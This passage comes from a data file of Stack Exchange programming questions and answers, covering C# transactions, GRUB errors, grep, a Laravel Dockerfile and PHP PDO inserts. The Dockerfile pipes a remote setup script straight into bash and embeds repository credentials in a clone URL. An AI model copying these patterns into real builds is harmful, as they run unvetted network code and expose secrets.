"Calculating speedup for a two-way superscalar cpu"  , "tags": "computer architecture;cpu pipelines"  } 
{  "id": "_cs.60737"  , "question": "I have a rooted tree with $n$ vertices.I want to be able to answer the given queries in logarithmic time after setting up some sort of data structure (preferably in time $n\\log n$.The query is given by $v$ and $k$.I want to find the number of ancestors of $v$ of degree less than or equal to $k$.( I call ancestors of degree $1$ sons).I don't know how to do it.At first I thought that I should only store the number of ancestors of $v$ of degree less than $2^j$. But this doesn't seem to work."  , "title": "FInding number of ancestors at given depth"  , "tags": "algorithms;trees"  , "accepted_answer": "We do a dfs starting from the root. we save the entry-time and exit time of each vertex. We build a list containing (height(v),entrytime(v)). Where entrytime is the time in the dfs where we first reached vertex v.we now sort our list lexicographically (this takes time $\\mathcal O(n\\log(n))$ ) . Inside this order, the vertices at height $h$ that are ancestors of a vertex $v$ are the elements in the list that are between $(h,entrytime(v))$ and $(h,exittime(v))$.So the problem is essentially reduced to the following:Suppose we have an array of integers $a_1,a_2,\\dots, a_n$, given $x$ and $p$ how can we find the number of elements in the range $a_1,a_2,\\dots, a_p$ that are greater than $x$? (we just need $p-k$).Various efficient solutions to this are discussed here: "  } 
{  "id": "_webmaster.7831"  , "question": "I had registered with a particular DNS provider X and I have been unhappy with their services and now when the time for renewal came, I did not renew and I let it expire. I am hoping that once it is expired from this provider, I would be able to sign up for the same domain name from an alternative provider which I have tested and I am satisfied.What kind of precautions should I take? The domain name is not a critical one, it is of a NGO and we prefer to own it again without any change in the name.The information given by the expiry notice saysDomains can be renewed between 90 days before and 14 days after the expiry date. If domains are not renewed they will be removed from the account and set for deletion.Should I wait for time till gets deleted at their end so that I can sign up for the same from another provider?"  , "title": "Moving from one DNS provider to another"  , "tags": "domains"  } 
{  "id": "_unix.158760"  , "question": "I want to make a diff of hostnames using grep. I have 2 files. One yaml and one .pp. In the yaml I have domain names with ips and in the .pp file I have fqdn and ip in hash style. Like this: In the fist file I Have a list of hosts: {host => host1, ip = x.x.x.x },{host => host2, ip = x.x.x.x },In the second file I have another group of hosts like this:host1:ip: x.x.x.xhost2:ip: x.x.x.xI'm trying first to get the list of hosts of the first file and at the same time get the list of hosts of the second file. If the host of the first file is in the second one I skip it. cat FILEONE.pp | grep 'host =>' | grep -v cat FILETWO.yaml | grep '[0-9]:' | grep -v ipFilterI want to pass this: cat FILETWO.yaml | grep '[0-9]:' | grep -v ip as parameter to the -v flag to the previous grep to make an inverse grep but I can't make it work...  Is it possible to make this on the fly?The question could be reduced to:How can I make this:grep -v {cat file | command2 | command3 | command4}I want to make a list which contains the hosts in the first file only if they are not in the second file. (Exclude the hosts of the second file from the first file)"  , "title": "How to make a grep which excludes a bunch of pipes?"  , "tags": "linux;grep"  } 
{  "id": "_codereview.83547"  , "question": "Because the ambient transaction isn't supported with informix, I pass the transaction and the connection through my methods.I want to ask about three things:Is the following code written well? I mean, no redundant steps and no logical errors.Is calling this transaction method with many null parameters in a specific case okay?Is there a better way to handle this problem? public static int Insert(string processMethod, object[] processParameters, Type processType, object process, UserTransactionDTO transObj, string spPostConfirm, int toEmpNum,int confirmState)        {            int affectedRows = -7;            using (IfxConnection conn = new IfxConnection(ConfigurationManager.ConnectionStrings[crms].ToString() +  Enlist=true;))            {                if (conn.State == ConnectionState.Closed)                {                    conn.Open();                }                using (IfxTransaction tran = conn.BeginTransaction())                {                    if (!string.IsNullOrEmpty(processMethod))//business Method                    {                        processParameters[1] = conn;                        processParameters[2] = tran;                        MethodInfo theMethod = processType.GetMethod(processMethod, new[] { processParameters.First().GetType(), typeof(IfxConnection), typeof(IfxTransaction) });                        object res = theMethod.Invoke(process, processParameters);                        transObj.ValuesKey = res.ToString();                    }                    if (!string.IsNullOrEmpty(transObj.ValuesKey))                    {                        affectedRows = RunPreConfirm(transObj.TaskCode, transObj.UserStateCode, transObj.ValuesKey, conn, tran, confirmState);//sp_confirm                        if (affectedRows != 1)                        {                            tran.Rollback();                            tran.Dispose();//Dispose                            conn.Close();                            conn.Dispose();                            return -1;//Fail                        }                        affectedRows = InsertTrans(transObj, conn, tran);//MainTransaction --->df2usertrans                        if (affectedRows == 1)//Success                        {                            if (!string.IsNullOrEmpty(spPostConfirm))                            {                                affectedRows = RunPostConfirm(spPostConfirm, transObj.ValuesKey, conn, tran);//sp_post_confirm                                if (affectedRows != 0)                                {                                    tran.Rollback();                                    tran.Dispose();//Dispose                                    conn.Close();                                    conn.Dispose();                                    return -2;//Fail                                 }                            }                            affectedRows = RunAfterTrans(transObj.TaskCode, transObj.OldStatusCode, transObj, toEmpNum, conn, tran);//sp_after_trans                            if (affectedRows != 1)                            {                                tran.Rollback();                                tran.Dispose();//Dispose                                conn.Close();                                conn.Dispose();                                return -3;//Fail                            }                            tran.Commit();                            tran.Dispose();                            conn.Close();                            conn.Dispose();                            return 1;                        }                        else                        {                            tran.Rollback();                            tran.Dispose();//Dispose                            conn.Close();                            conn.Dispose();                            return -1;//Fail                         }                    }                    else                    {                        tran.Rollback();                        tran.Dispose();//Dispose                        conn.Close();                        conn.Dispose();                        return -1;//Fail                     }                }            }            return affectedRows;        }Examples for calling:int res = DocumentFlowModuleDAL.UserTransactionDAL.Insert(InsertRequest, reqObj, typeof(EnhancementRequest), new EnhancementRequest(), transObj, string.Empty, 0,0);result = UserTransactionDAL.Insert(string.Empty, null, null, null, obj, sp_PostConfirm, x, 0);"  , "title": "Implementing transaction method with invoking business methods in a one transaction"  , "tags": "c#;asp.net;reflection"  , "accepted_answer": "Do not return error code if possible. If the method fails to do what it needs to do, just throw an exception. In your case, do not return -1, -2, etc, you should create new type of exception and wrap your error code inside.The using clause guarantees that Dispose() of the object you use will be called , even in case of exception, before exiting the enclosed block, so all Close() and Dispose() in your code is redundant. In C#, transaction usage usually goes likeusing(var tran = conn.BeginTransaction()) {    try {        ...        // your code here        ...        tran.Commit();    }    catch {        tran.Rollback();        throw;    }}This will work well when you do not return error code.Edit: Here is an example of the exception classpublic enum YourErrorCode {    Unknown,    ErrorCode1,    ErrorCode2,}public class YourException : Exception {    public YourErrorCode ErrorCode { get; private set; }    public YourException()    {    }    public YourException(string message)        : base(message)    {    }    public YourException(string message, Exception inner)        : base(message, inner)    {    }    public YourException(YourErrorCode errorCode) : this(errorCode, null)    {    }    public YourException(YourErrorCode errorCode, Exception inner)        : base(The operation failed with error code  + errorCode.ToString(), inner)    {        this.ErrorCode = errorCode;    }}And throw it likethrow new YourException(YourErrorCode.ErrorCode1);instead of returning error code."  } 
{  "id": "_webmaster.9961"  , "question": "My homepage has a PR of 5. However, 99% of my internal pages have PR of 0 for some reason.What can be the cause of it? I have a sitemap and Google Webmaster Tools shows that all my website pages are indexed.(The internal pages are built with SEO in mind, and have several sources linking to them).Thanks!Joel"  , "title": "Internal pages PR"  , "tags": "seo;pagerank"  , "accepted_answer": "PR is all about links. Internal pages have fewer links then home pages because most incoming links from other sites point ot the home page and internal pages link to the home page more then other internal pages. So the homepage naturally tends to have a high PR and internal pages are lower.If you want your internal page to have higher PR get more links to those pages from other sites and do a better job of internal inking within your site."  } 
{  "id": "_unix.4364"  , "question": "Notice: This is not about dual booting, I can setup GRUB to dual boot with Windows 7 later. I just need to be able to get into Arch Linux.Last night I installed Arch onto my computer via netinstall and it all went smoothly, but when I went to reboot... it loaded up the GRUB menu and it listed Arch Linux, but when I select it, I get Error 15: File not found.I've been googling and trying various way to fix this problem but I always get the same error.Some info about my partitions:/dev/sda:Windows 7 System ReservedWindows 7/dev/sdb:Data (Movies, Music, etc..)/dev/sdc:Separate Boot PartitionSwapSeparate Home PartitionRoot/dev/sdd:PendriveThe followings are outputs of various programs and contents of various files.ubuntu@ubuntu:~$ sudo blkid/dev/loop0: TYPE=squashfs /dev/sdb1: LABEL=Stuff UUID=72D6355E32F06BD5 TYPE=ntfs /dev/sda1: LABEL=System Reserved UUID=A8F8AC7FF8AC4CFE TYPE=ntfs /dev/sda2: UUID=2A20B02620AFF6CB TYPE=ntfs /dev/sdc1: UUID=2a23abcf-b29f-4119-b406-0b1817e5c8e1 TYPE=ext2 /dev/sdc2: UUID=f3d9ce0d-5953-4f4e-885a-4cd2ebf6b6e9 TYPE=swap /dev/sdc3: UUID=2a53bdc8-7a9a-4dd2-9aef-5b7b4c3e74a4 TYPE=ext4 /dev/sdc4: UUID=7b4faa93-98db-49e3-ad41-92e9dc60deda TYPE=ext4 /dev/sdd1: LABEL=PENDRIVE UUID=0290-E580 TYPE=vfat menu.lsttimeout   5default   0color     light-blue/black light-cyan/blue#===--- Arch Linuxtitle  Arch Linuxroot   (hd2,0)kernel /vmlinuz26 root=/dev/disk/by-uuid/2a53bdc8-7a9a-4dd2-9aef-5b7b4c3e74a4 ro vga=775initrd /kernel26.img#===--- Arch Linux Fallbacktitle  Arch Linux Fallbackroot   (hd2,0)kernel /vmlinuz26 root=/dev/disk/by-uuid/2a53bdc8-7a9a-4dd2-9aef-5b7b4c3e74a4 ro vga=775initrd /kernel26-fallback.img#===--- Windows 7title         Windows 7rootnoverify  (hd0,0)chainloader   +1fstab# # /etc/fstab: static file system information## <file system>        <dir>         <type>    <options>          <dump> <pass>devpts                 /dev/pts      devpts    defaults            0      0shm                    /dev/shm      tmpfs     nodev,nosuid        0      0/dev/sdc1              /boot         ext2      defaults            0      1/dev/sdc2              /             ext4      defaults            0      1/dev/sdc3              /home         ext4      defaults            0      1/dev/sdc4              swap          swap      defaults            0      1"  , "title": "Grub won't boot Arch Linux"  , "tags": "arch linux;grub legacy"  } 
{  "id": "_codereview.78065"  , "question": "I am trying to reverse a sentence contained in a string and return a string in the quickest way possible using the least amount of memory. Also I don't want to use any unsafe code, so no pointers are allowed. Please let me know if anything can be improved. My input example isstring mystring = Hello! my name is;My result is is name my Hello!My results on i7 4770S for 1000000 iterations is on average around 650ms.public static string ReverseTheString(string MyString){    int Length = MyString.Length;    Char[] NormalArray = new char[Length];    Char[] FinalArray = new char[Length];    for (int i = 0; i < Length; i++)    {        NormalArray[i] = MyString[i];    }    Length = Length - 1; //use for last index    int SpacesCount = 0;    int AlphaCount = 0;    Stack<char[]> ReversedArray = new Stack<char[]>();    for (int i = 0; i < NormalArray.Length; i++)    {        if (NormalArray[i] == ' ' && i != Length)//Space        {            if (i != Length)            {                if (AlphaCount > 0)                {                    char[] temparray = new char[AlphaCount];                    int tempindex = i - AlphaCount;                    for (int j = tempindex, k = 0; k < AlphaCount; j++, k++)                    {                        temparray[k] = NormalArray[j];                    }                    ReversedArray.Push(temparray);                    AlphaCount = 0;                    temparray = null;                }                SpacesCount++;            }            else            {                SpacesCount++;                if (SpacesCount > 0)                {                    char[] temparray = new char[SpacesCount];                    int tempindex = i + 1 - SpacesCount;                    for (int j = tempindex, k = 0; k < SpacesCount; j++, k++)                    {                        temparray[k] = NormalArray[j];                    }                    ReversedArray.Push(temparray);                    SpacesCount = 0;                    temparray = null;                }            }        }        if (NormalArray[i] != ' ' ) //alpha        {            if (i != Length)            {                if (SpacesCount > 0)                {                    char[] temparray = new char[SpacesCount];                    int tempindex = i - SpacesCount;                    for (int j = tempindex, k = 0; k < SpacesCount; j++, k++)                    {                        temparray[k] = NormalArray[j];                    }                    ReversedArray.Push(temparray);                    SpacesCount = 0;                    temparray = null;                }                AlphaCount++;            }            else            {                AlphaCount++;                if (AlphaCount > 0)                {                    char[] temparray = new char[AlphaCount];                    int tempindex = i + 1 - AlphaCount;                    for (int j = tempindex, k = 0; k < AlphaCount; j++, k++)                    {                        temparray[k] = NormalArray[j];                    }                    ReversedArray.Push(temparray);                    AlphaCount = 0;                    temparray = null;                }            }        }    }    int Pos = 0;    while (ReversedArray.Count > 0)    {        char[] temparray = ReversedArray.Pop();        for (int j = 0; j < temparray.Length; j++)        {            FinalArray[Pos] = temparray[j];            Pos++;        }    }    return new string(FinalArray);}"  , "title": "Reverse a sentence quickly without pointers"  , "tags": "c#;performance;strings"  , "accepted_answer": "Bug For a given string string mystring = Hello! my name is ;   <- see the space at the last characteryour method fails (does not produce the correct result).  Naming Based on the naming guidelines input parameters should be named using camelCase casing.Although there is nothing mentioned in the naming guidelines about naming variables which are local to methods, you should consider to use camelCase casing. int Length -> int length etc.  Measurement On my pc your code runs for 1.000.000 iterations in 480 ms.Improvements by skipping NormalArray and instead using MyString[] directly you can reduce the amount of time to 470 ms.  here  SpacesCount++;if (SpacesCount > 0)  and here  AlphaCount++;if (AlphaCount> 0)  you can skip the if condition, because you don't decrement SpaceCount nor AlphaCount in your code. Now your code is running in 460 ms and your code is more readable.    declaring an array inside an if block limits its scope to this block. There is no need to set this array = null. So skipping temparray = null; reduces the amount of code and therefor increases readability.  constructs like char[] temparray = new char[AlphaCount];int tempindex = i + 1 - AlphaCount;for (int j = tempindex, k = 0; k < AlphaCount; j++, k++){    temparray[k] = MyString[j];}are reducing the readability of the code. A better style would be  char[] temparray = new char[AlphaCount];int tempindex = i + 1 - AlphaCount;for (int k = 0; k < AlphaCount; k++){    temparray[k] = NormalArray[tempindex];    tempindex++;}by skipping the whole stack and just using a char array I reduced the processing time to 70 ms.public static string ReverseTheStringM(String myString){    int length = myString.Length;    char[] tokens = new char[length];    int position = 0;    int lastIndex;    for (int i = length - 1; i >= 0; i--)    {        if (myString[i] == ' ')        {            lastIndex = length - position;            for (int k = i + 1; k < lastIndex; k++)            {                tokens[position] = myString[k];                position++;            }            tokens[position] = ' ';            position++;        }    }    lastIndex = myString.Length - position;    for (int i = 0; i < lastIndex; i++)    {        tokens[position] = myString[i];        position++;    }    return new string(tokens);}"  } 
{  "id": "_codereview.169173"  , "question": "I'm looking for reviews about my first dockfile. I don't want to develop bad habits.  The purpose is to quickly deploy my Laravel (5.4) application. I'm going to connect it with others database containers (mognodb and mysql).I used Ubuntu as parent image because it's my development environment but I planned to change it to debian or alpine later.# Use an official Ubuntu LTS as a parent imageFROM ubuntu:16.04MAINTAINER name <email>#=================================Dependencies================================# Install dependenciesRUN apt-get -qq update && \\    apt-get -qq install -y --no-install-recommends \\        apache2 \\        composer \\        curl \\        git \\        libapache2-mod-php7.0 \\        libssl-dev \\        libsslcommon2-dev \\        npm \\        php-curl \\        php-dev \\        php-mbstring \\        php-mysql \\        php-pear \\        php-xml \\        php-zip \\        php7.0 \\        phpunit \\        pkg-config \\        zip && \\    # Get repository for node 8 and install it    curl -sL https://deb.nodesource.com/setup_8.x | bash && \\    apt-get -qq install -y nodejs && \\    # Remove useless package : curl    apt-get autoremove --purge -y curl && \\    # Clean temporary apt data    rm -rf /var/lib/apt/lists/*# Install php dependenciesRUN pecl -q install mongodb#=================================PhpSettings================================# Enable Mongo driverRUN echo extension=mongodb.so >> /etc/php/7.0/cli/php.ini && \\    echo extension=mongodb.so >> /etc/php/7.0/apache2/php.ini#===============================ApacheSettings===============================# Set Apache environment variablesENV APACHE_RUN_USER www-dataENV APACHE_RUN_GROUP www-dataENV APACHE_LOG_DIR /var/log/apache2ENV APACHE_PID_FILE /var/run/apache2.pidENV APACHE_RUN_DIR /var/run/apache2ENV APACHE_LOCK_DIR /var/lock/apache2# Create Apache directoriesRUN mkdir -p $APACHE_RUN_DIR $APACHE_LOCK_DIR $APACHE_LOG_DIR# Enable 'mod_rewrite' for rewrite URL then remove 'index.php'RUN a2enmod rewrite# Copy Apache configuration fileCOPY apache2.conf /etc/apache2/apache2.confCOPY 000-default.conf /etc/apache2/sites-available/000-default.conf#=================================AppDownload================================# Create App directoryRUN mkdir /var/www/appWORKDIR /var/www/app# Copy sources without version controlRUN git clone --branch=v2.0.1 \\    https://my_name:my_key@bitbucket.org/app/repository.git . \\    && find . -name .git* -type f -delete# Add write access to storage and cacheRUN chmod -R a+w storage/ bootstrap/cache/#==========================Download/InstallVendors=========================# Download PHP vendors# Clean cacheRUN composer -q install && \\    composer clear-cache# Download CSS/JS vendors# Compile required assets# Clean cache and downloadRUN npm -q install && \\    npm run production && \\    rm -rf node_modules && \\    npm cache clean --force#=================================AppSettings================================# Set .env file with relevent settingsRUN sed -i 's/APP_ENV=\\S*/APP_ENV=production/' .env && \\    sed -i 's/APP_DEBUG=\\S*/APP_DEBUG=false/' .env &&#===================================Cleanup===================================# Clean temporary Laravel dataRUN php artisan cache:clear && \\    php artisan view:clear && \\    php artisan config:cache# Remove useless foldersRUN rm -rf /var/www/html#================================RunContainer================================# Make port 80 available to the world outside this containerEXPOSE 80# Run Apache in the backgroundENTRYPOINT [ /usr/sbin/apache2 ]CMD [-D,FOREGROUND]After building the image size is 550 MB.And after run the container the application work like expected.  What is right, and wrong with this dockerfile? How could I optimise it?"  , "title": "Dockerfile for Laravel deployment"  , "tags": "bash;laravel;dockerfile"  } 
{  "id": "_unix.9101"  , "question": "Is there a software tool that will allow me to measure the length of a curved line? I have a series of lines in an image that I want to measure the length of. I have a tablet so I can trace over the lines in the image in order to identify the distance to be measured. There are plenty of tools that do straight lines but sofar I can't find on that does free form curves."  , "title": "Measuring the length of a curved line"  , "tags": "linux;free software;image manipulation"  } 
{  "id": "_softwareengineering.258105"  , "question": "I have been doing a lot of reading about polymorphism, inheritance and typing (specifically how it applies to Java).I have seen some interesting examples, but not much explanation as to why.I.e.:    Person p = new Student();I am assuming we have a Person class and a Student class which extends the Person class.My question is: Why would you want to do this kind of assignment at all?"  , "title": "Why return back or assign to a supertype rather than the implementation type?"  , "tags": "java;polymorphism"  , "accepted_answer": "Using something like that, we can have many different types that all support the interface of Person, which means we can write code that takes a Person and doesn't care which specific type it is, as long as it supports whatever a Person supports.You might not anticipate an AncientZombieLord class when first writing some generic code that takes a Person, but if AncientZombieLord is a subtype of Person, all the code written for a Person will work for AncientZombieLord too.  If you take a look at Java's collections, there are ArrayList and LinkedList types, which are both subtypes of List.  They have different performance characteristics, but both support a common interface, so I can write code that uses a List that will work with either kind of list.  You can use this sort of thing to write a generic algorithm that uses one type now, and then switch it to something else without needing to fiddle with a lot of code -- just change one type.  In general, being able to abstract away from details that don't matter is a big win.  "  } 
{  "id": "_unix.261276"  , "question": "#!/usr/bin/expect -fpsps -ef > test.txtNow if I want to check whether test.txt has certain keywords present, in it, how do we go about?say: 'apache' or 'fast'Can we use the if statement here, if yes, how? i'm new to shell scripting.TIA!"  , "title": "Check if a file contains a certain pattern?"  , "tags": "bash;shell script"  } 
{  "id": "_codereview.116320"  , "question": "Given an angle in degrees, output a pretty string representation of its value in radians as a fraction.Where pretty means:Simplified as much as possible.With no unnecessary ones.Using the Unicode character that represents pi: With a single minus in front if negative (a minus at the denominator is not allowed).For example: degrees_to_pretty_radians(-120) #=> '-2/3'I wanted to write this in Python too to compare it to how it looked implemented in JavascriptThe code is pretty straightforward and passes a lot of test-cases, but I am still interested in any kind of feedback:def degrees_to_pretty_radians(angle: in degrees) \\                    -> Pretty string for the value in radians.:        >>> tests = [0, 1, 18, 31, 45, 60, 120, 180, 270, 360, 480]    >>> all_tests = tests + [-x for x in tests]    >>> for angle in all_tests: print(angle, degrees_to_pretty_radians(angle))    0 0    1 /180    18 /10    31 31/180    45 /4    60 /3    120 2/3    180     270 3/2    360 2    480 8/3    0 0    -1 -/180    -18 -/10    -31 -31/180    -45 -/4    -60 -/3    -120 -2/3    -180 -    -270 -3/2    -360 -2    -480 -8/3        gcd = fractions.gcd(angle, 180)    denominator =  if 180 // gcd == 1 else /{}.format(180 // gcd)    numerator =  if abs(angle // gcd) == 1 else abs(angle // gcd)    sign = - if angle < 0 else     return {}{}{}.format(sign, numerator, denominator)"  , "title": "Converting an angle in degrees to a pretty string representing it in radians"  , "tags": "python;python 3.x;formatting"  , "accepted_answer": "Personally, function annotations are best used with types or almost-types. Unlike holroy, I appreciate their use, but like him I'd move what you put in the annotation inside the docstring. I'd instead usedef degrees_to_pretty_radians(angle: int) -> strAlternatively you can use Real or Integral from numbers as the angle parameter.Further, I'd use the argument name to clarify:def pretty_radians(*, degrees: int) -> strThis way one writespretty_radians(degrees=1234)instead ofdegrees_to_pretty_radians(1234)This is both more self-explanatory and easier to read."  } 
{  "id": "_opensource.5538"  , "question": "After reading about the PocketC.H.I.P., I assumed that it comes with FLOSS only, because:Their page advertises:Open Source Hardware and Software mean you can do almost anything!Their FAQ says:Is PocketC.H.I.P. Open Source? Yes, and you can get the hardware files at our github repo.But I guess that these statements only apply to a subset of the product, as PICO-8 (which is proprietary) is pre-installed.So is there anything else? Or does it become a fully free/libre/open system (software-wise) after uninstalling PICO-8?Im not only worried about applications (PICO-8 would be in this category), but also about firmware/drivers (e.g., for the WiFi, the GPU, etc.)."  , "title": "Proprietary software pre-installed on the PocketC.H.I.P.?"  , "tags": "software"  } 
{  "id": "_softwareengineering.218078"  , "question": "I've just built a self-balancing tree (red-black) in Java (language should be irrelevant for this question though), and I'm trying to come up with a good means of testing that it's properly balanced. I've tested all the basic tree operations, but I can't think of a way to test that it is indeed well and truly balanced.  I've tried inserting a large dictionary of words, both pre-sorted and un-sorted.  With a balanced tree, those should take roughly the same amount of time, but an unbalanced tree would take significantly longer on the already-sorted list.  But I don't know how to go about testing for that in any reasonable, reproducible way.  (I've tried doing millisecond tests on these, but there's no noticeable difference - probably because my source data is too small.)  Is there a better way to be sure that the tree is really balanced?  Say, by looking at the tree after it's created and seeing how deep it goes?  (That is, without modifying the tree itself by adding a depth field to each node, which is just wasteful if you don't need it for anything other than testing.)"  , "title": "Unit testing to prove balanced tree"  , "tags": "java;unit testing;junit;binary tree"  , "accepted_answer": "One way to do this would be to create a method on your tree that measures the depth of the tree at a given node. You don't have to store the value, and if you use such a getDepth() method only for testing, then there's no extra overhead for normal tree operations. The getDepth() method would recursively traverse its child nodes and return the maximum depth found.Once you have that, you can then check that your whole tree is balanced by recursing over each node of the tree, and verifying a condition something like:Math.abs(getDepth(left) - getDepth(right)) <= 1"  } 
{  "id": "_webapps.109074"  , "question": "I'm building a simple app in Google Sheets for personal use.  I have a few dropdown lists on my dashboard.  I have drawn forward and back buttons around them and can't figure out how I would script the buttons to move through the dropdown list (and cycle around if on the first/last option)."  , "title": "Script forward/back buttons to move through a dropdown list?"  , "tags": "google spreadsheets;google apps script"  } 
{  "id": "_softwareengineering.287187"  , "question": "My boss is planning on a new db and wants to support multilingual data in this manner:LocalizedDescs (Guid / LanguageGuid being the primary key)ClusterGuidLanguageGuidDescProductCategoriesClusterGuid(...)ProductsClusterGuidCategoryGuidDetailedDescGuid(...)The way it works is that every table is having a Guid field, used as the primary key. The LocalizedDesc table's Guid field, in turn, corresponds to any guid used in tables throughout the db, making it a parent table to every table in the system.In rare cases where a table record needs another localized resource, an additional field is used in the table that will also point to a LocalizedDesc record. As an example, the Products table has a DetailedDescGuid that is meant to contain a throughout, longer description of a product. This way we have both a summary description and a detailed description, both of which can be localized to different languages.Originally, we were supposed to have a LocalizedDescGuid field in each table needing a description. But my boss claims the db indexes will be smaller if we do this the other way.Design-wise, what is this solution's worth? Was it better when it used an additional field in each table? Or are we doing this all wrong?"  , "title": "An approach to multilingual db design"  , "tags": "design;architecture;database design"  , "accepted_answer": "I would suggest the following structure due to my experiences in some other applications.First of all I would build a language table:language_id (PK)iso_country_codeiso_language_codecodepagetranslation_id (FK)The language_id would represent the primary key. Each available language is added to this table. iso_country_code can contain the ISO country code (GB - Britain, DE - Germany, ...). iso_language_code can be used to cover different located languages (e.g. en_US, en_GB,...)codepage is the codepage which will be sent out.translation_id more on this later on.The second thing should be a translation table. The translation table should hold back all translations for every translatable term.translation_id PKlanguage_id PK (FK -> language)termThe table consists of an combined primary key over translation_id and language_id which will prevent double insertion. language_id will refer to the language table.term itself will just be the translated term (e.g.: Table in german -> Tabelle)The next thing will happen on each table which holds translatable items. For example a Table which holds your products for example called products.product_id PKproduct_informationproduct_price...translation_id (FK)Only the translation_id is needed. It will refer to the translation table and retrieve the correct translation. The application can give or user session can be joined into the statement to filter the proper language for the logged in user. The other positive thing on this solution is that if you have multiple translations in different tables which all means the same but in a different context and all can have the same translation_id, they already can share the same translation_id which will reduce your data weight and will improve the translation.Hopefully this will give you a good hint and help you to improve your solution."  } 
{  "id": "_unix.141420"  , "question": "I'm brand new to UNIX and I am using Kirk McElhearn's The Mac OS X Command Line to teach myself some commands. I am attempting to use tr and grep so that I can search for text strings in a regular MS-Office Word Document. $ tr '\\r' '\\n' < target-file | grep search-stringBut all it returns is:Illegal byte sequence.robomechanoid:Position-Paper-Final-Draft robertjralph$ tr '\\r' '\\n' < Position-Paper-Final-Version.docx | grep DeCSStr: Illegal byte sequencerobomechanoid:Position-Paper-Final-Draft robertjralph$ I've actually run the same line on a script that I created in vi and it does the search correctly."  , "title": "tr complains of Illegal byte sequence"  , "tags": "text processing;grep;character encoding;binary;tr"  } 
{  "id": "_scicomp.26179"  , "question": "I'm going through an article with title Solving constrained quadratic binary problems via quantum adiabatic evolution (reference 1). And there are several points confusing me a lot.This article is aimed to solve the CBQP (constrained binary quadratic programming) with the following format.\\begin{align}&\\min &x^{T}Qx \\cr&\\text{subject to} &Ax\\leq b\\end{align}and $x\\in \\lbrace0,1\\rbrace^{n}$, where $Q\\in Z^{n\\times n}$ and $A\\in Z^{m\\times n}$. Let's call this optimization problem the problem $P$.  The outline is like this. Suppose there is a UBQP (Unconstrained binary quadratic programming) oracle, and with the successive application of LP(linear programming), the lagrangian dual of $P$ (or lower bound of $P$ can be provided) can be solved. And then with the branch-bound-approach, the problem $P$ can be solved. I can understand almost of it until the section 5 counting the solution density on page 9. I'm not exactly sure how the branch-bound process is combined with the optimization process to finally tackle this problem. Could anyone point a direction or share some thoughts? Any comments would be greatly appreciated.ReferencesRonagh, P., Woods, B., & Iranmanesh, E. (2015). Solving constrained quadratic binary problems via quantum adiabatic evolution. arXiv preprint:1509.05001."  , "title": "constrained quadratic binary problems and quantum adiabatic evolution"  , "tags": "optimization;constrained optimization;quantum mechanics"  } 
{  "id": "_codereview.84171"  , "question": "I'm just starting out using OOP; classes and methods etc. I've been looking around for some PDO classes/wrappers out there, but there's not much to choose from. So I've tried to make my own. Started out by writing an insert method.As a man with low self esteem, I never like what I do myself, so I thought I'd ask you guys here for feedback. Here it is:public function insert($tbl, $data) {    $this->_stmt = $this->_dbh->prepare(INSERT INTO $tbl ( . implode(', ', array_keys($data)) . ) VALUES (: . implode(', :', array_keys($data)) . ));    foreach($data as $key => $value) {        $this->_stmt->bindValue($key, $value, PDO::PARAM_STR);    }    $this->_stmt->execute();}The meaning was that it could all be done in one sweep instead of having several methods to do one thing; inserting a record.An example of using this code:$message   = 'A message for the ones who like to read it!';$sent_on   = 'Saturday 23rd 2012';$unique_id = 'unique_as_can_get';$data = array(    'message'   => $message,    'sent_on'   => $sent_on,    'unique_id' => $unique_id);$insert = new DB;$insert->insert('tablename', $data);I've put the database connection into the constructor.The code works as I want it to, but I'm still confused if it's accepted amongst you people who are way more skilled that I will ever be.Please let me know if this code if usable and/or what is wrong with it, what can be improved/changed etc."  , "title": "Class method to insert a record into MySQL"  , "tags": "php;mysql;classes;pdo"  , "accepted_answer": "There's nothing wrong with it, but it's a small piece of code. Some minor details are: 1: I would write $table instead of $tbl, why abbreviate it? You also write foreach ($data as $key => $value), which is very general. Why not specify it better: `foreach ($row as $column => $value)'? What I mean is that variable names should have meaning. I know an array has keys and values, but they are general names. Here you should use names that tell you what a variable really represents.2: $this->_stmt is a class variable, where a local $statement variable would do. Local variables are always more efficient and have even better encapsulation.3: Also watch your line length: 156 characters is too much. Instead of writing this:$this->_stmt = $this->_dbh->prepare(INSERT INTO $tbl ( . implode(', ', array_keys($data)) . ) VALUES (: .  implode(', :', array_keys($data)) . ));(I wrapped it for clarity), you could have written something like;$rowkeys   = array_keys($row); $columns   = implode(',',$rowkeys);$values    = ':'.implode(',:',$rowkeys);$query     = INSERT INTO $table ($columns) VALUES($values);$statement = $this->handle->prepare($query);This makes it easier to read, and debug. It may seem longer, but effectively it does the same thing. 4: You could build in error checks. Is the array a valid array to insert? Start with is_array() for instance. Do the column names exist in the table? Does the insert execute properly? No errors? 5: you could return the lastInsertID(): http://php.net/manual/en/pdo.lastinsertid.php6: You cannot insert multiple rows at once with this method. Perhaps you don't need this, but if you do you could add that functionallity.7: You bind values, so that's quite secure. However, are you sure your column names can never be influenced by outside sources (= hackers)? Another good reason to check them, because they go straight into your SQL command.8: Please note that wrapping PDO can be a burden later. See: Class for reducing development time If that puts you complete off, don't worry, I also use a wrapper despite all that good advice."  } 
{  "id": "_codereview.31543"  , "question": "The backgroundTwo beginners without access to an experienced mentor write an ASP .NET MVC application, mostly simple CRUD, using Linq to SQL for the data access layer. Beginner number 1 writes the model part. I, beginner number 2, start writing controllers and views. When using the web and a textbook for learning best practices, I notice that our code differs from the established patterns in some way. Still, I create a way for the user to edit data without changing my coworker's code, and as far as we have tested, it does what it is supposed to do. If our slightly unorthodox approach works, we cannot afford to refactor the whole thing right now. But I am afraid that we can have programmed us into a corner and be too inexperienced to notice it. So please tell us: what are the potential downsides of our current implementation? A big picture of the conceptWe save edits to an entity of type Animal line in the following way: On submitting the form with the edits, the model binder returns a viewmodel to the controller. Every time the controller is initialized, it creates a a new repository instance, initializing it with a new instance of a data context. When the user submits edits, the default model binder returns a new viewmodel object to the controller action. The controller calls the viewmodel's UpdateBaseAnimalLine method, which changes the properties of the entity class. Then the controller calls the repository's Update method on the newly changed entity class. It does nothing more than calling SubmitChanges on the repository's data context. Problems I have seen so farAs far as I am aware, the data context is never disposed of in our code. After looking around, it seems that having one data context per repository instance is good practice, so we probably don't want to change that, but I cannot think of a good place to add a dispose call, what am I overlooking? The examples I found on the web use custom-written factories which provide a datacontext, and I hope there is a simpler way to do it right. It looks weird to me that we have to change the state of the actual entity object somewhere, and then just call SubmitChanges in the repository. Doesn't this open us to potential race conditions? Or is the framework intelligent enough to take care of that behind the scenes? More to the point, does it take care of it in the way we are using it? Is there a way to get the default model binder to use a viewmodel constructor which takes an 